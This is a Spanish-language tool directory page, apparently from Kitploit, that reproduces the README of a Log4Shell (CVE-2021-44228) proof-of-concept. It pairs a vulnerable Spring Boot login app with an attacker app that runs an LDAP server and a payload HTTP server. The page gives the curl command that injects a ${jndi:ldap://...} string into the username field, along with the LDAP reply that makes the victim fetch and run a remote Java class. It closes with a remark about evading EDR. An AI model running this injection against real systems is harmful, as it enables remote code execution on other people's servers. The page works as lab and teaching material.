Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/spasam/log4j2-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubspasam/log4j2-exploit

log4j2-exploit

prueba de concepto de log4j2 Log4Shell CVE-2021-44228

Ver Repositorio
2hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Log4Shell CVE-2021-44228 prueba de concepto

Requisitos

  • Java (JDK/JRE) 8 o una versión posterior
  • curl

exploitable

Aplicación simple de Spring Boot que sirve una página de inicio de sesión con usuario y contraseña. Registra el nombre de usuario cuando se envía por POST a /. No es necesario que la aplicación registre ninguna entrada proporcionada por el usuario. Es suficiente con habilitar el registro de acceso (access logging) que utilice una versión vulnerable de log4j2.

Cómo ejecutarlo:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

Por defecto, escucha en el puerto 8080. Si accedes a http://localhost:8080/ en el navegador, deberías ver algo como:

En pom.xml notarás la propiedad JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Esto no es necesario en versiones anteriores de JDK. El valor predeterminado se cambió a false en: JDK 11.0.1, 8u191, 7u201 y 6u211. Incluso sin esta propiedad, la aplicación es vulnerable a las solicitudes LDAP iniciales, que pueden exfiltrar datos sensibles.

hacker

Aplicación hacker que tiene dos propósitos:

  • Inicia un servidor HTTP en el puerto 9090 para servir payloads vulnerables
  • Inicia un servidor LDAP en memoria en el puerto 1389

Cómo ejecutarlo:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

En pom.xml puedes cambiar el payload predeterminado que se envía a las aplicaciones explotables:

--class=SayHello es el predeterminado, lo que significa que envía SayHello.class como payload.

Cómo explotarlo

Envía una solicitud curl a la aplicación explotable haciendo referencia al servidor LDAP del hacker en uno de los campos proporcionados por el usuario (nombre de usuario):

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

En la consola de la aplicación explotable, deberías ver algo como:

Bajo el capó

  • El atacante envió uno de los campos de entrada del usuario como ${jndi:ldap://127.0.0.1:1389}
  • El log4j2 vulnerable integrado en la aplicación explotable realiza una solicitud LDAP a 127.0.0.1:1389
  • Recibe lo siguiente como respuesta:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • La aplicación intenta recuperar la clase del payload explotable desde http://127.0.0.1:9090/SayHello.class
  • El servidor del hacker devuelve los bytes binarios de SayHello.class
  • La aplicación ejecuta el método getObjectInstance de la clase explotable

Nota

Después de la solicitud LDAP inicial y, potencialmente, de la descarga de la clase Java explotable, no es necesario que el exploit cree un proceso hijo (fork) ni realice ninguna conexión adicional a Internet. Normalmente, este tipo de exploits pueden ser detectados fácilmente por productos EDR, etc. Sospecho que los nuevos payloads de exploits se implementarán de forma nativa en Java para evadir la detección.

Descargar herramienta